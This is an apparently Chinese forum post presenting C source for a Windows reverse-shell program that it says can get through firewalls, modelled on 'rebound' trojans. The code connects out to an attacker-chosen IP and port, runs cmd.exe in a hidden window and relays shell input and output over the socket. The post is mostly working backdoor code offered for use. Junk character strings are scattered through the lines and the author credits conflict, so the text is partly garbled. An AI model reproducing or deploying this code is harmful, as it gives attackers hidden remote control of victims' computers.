Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Zc' >}X[G  
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/* ============================== _QOOx+%*5  
Rebound port in Windows NT -<}>YtB Q  
By wind,2006/7 1l`s1C  
===============================*/ 2'UFHiK  
#include }T1Xds8w)t  
#include #&`WMLl+8  
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#pragma comment(lib,"wsock32.lib") ;P0Y6v3  
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void OutputShell(); E 4$h%5  
SOCKET sClient; 2I(@aB+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HTtGpTsF  
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void main(int argc,char **argv) yM#trqv
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{ :]
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WSADATA stWsaData; 3PR7g  
int nRet; m 
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SOCKADDR_IN stSaiClient,stSaiServer; 5z(>4d!  
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if(argc != 3) n+F-,=0  
{ (.nJT"&  
printf("Useage:\n\rRebound DestIP DestPort\n"); Sy0s`\[  
return; 5SWX v+  
} rgvc5p  
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WSAStartup(MAKEWORD(2,2),&stWsaData); =iN_Ug+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &=yqWW?  
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stSaiClient.sin_family = AF_INET; fjZveH0  
stSaiClient.sin_port = htons(0); A)p!w aG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @LMV?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VA r?teY  
{ }lvP|6Y: y  
printf("Bind Socket Failed!\n"); _itN.^  
return; 4}YT@={g}  
} /s0VyUV=  
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stSaiServer.sin_family = AF_INET; f'yd{ihFp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D '_#?%3^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zmS-s\$,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d_|v=^;  
{ qmeEUch`  
printf("Connect Error!"); 4a-F4j'  
return; vlKKP

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} T-cVM>u\D  
OutputShell(); 8o5^H>  
} ?lna8]t  


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void OutputShell() (C[S?@S  
{ 0`Qs=R`OM  
char szBuff[1024]; (Jr;:[4XC  
SECURITY_ATTRIBUTES stSecurityAttributes; 0<Y&2<v  
OSVERSIONINFO stOsversionInfo; F
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3~09)0"!d  
STARTUPINFO stStartupInfo; !g:G{b  
char *szShell; ~SUl,Cs  
PROCESS_INFORMATION stProcessInformation; .Zz7LG{  
unsigned long lBytesRead; _)H+..=  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U"G+su->e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4Lq]yUj  
stSecurityAttributes.lpSecurityDescriptor = 0; @wZ_VE7B  
stSecurityAttributes.bInheritHandle = TRUE; c{P
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7i8qB462  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g2_df3Q  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #gT^hl5/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VDN]P3   
stStartupInfo.wShowWindow = SW_HIDE; } dlNMW  
stStartupInfo.hStdInput = hReadPipe; cO+`8`kv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WU@,1.F:  
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GetVersionEx(&stOsversionInfo); @Ec9Do>  
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switch(stOsversionInfo.dwPlatformId) #ms98pw%5  
{ pLcng
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case 1: 8TvPCZ$x  
szShell = "command.com"; 73`UTXvWU  
break; uV:;y}T^Z  
default: Q{-r4n|b  
szShell = "cmd.exe"; >>xV-1h:  
break; jO.E#Ei}~  
} u^p[zepW\  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [: j_Y3-9  
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send(sClient,szMsg,77,0); 9q{dRS[A  
while(1) &6EfybAt^_  
{ Yl=  |P`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "YZ`g}sG  
if(lBytesRead) nQ6'yd"  
{ y~[So ,G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5gEK$7Vp  
send(sClient,szBuff,lBytesRead,0); >o7k%T|l$  
} _v,n~a}&  
else 8hT>)WH}wo  
{ Z%=E/xT  
lBytesRead=recv(sClient,szBuff,1024,0); S3fBZIPp  
if(lBytesRead<=0) break; ^"-2fJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2S/7f:  
} Q0-~&e_'  
} Nh%8;  
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return; X}Fv*  
}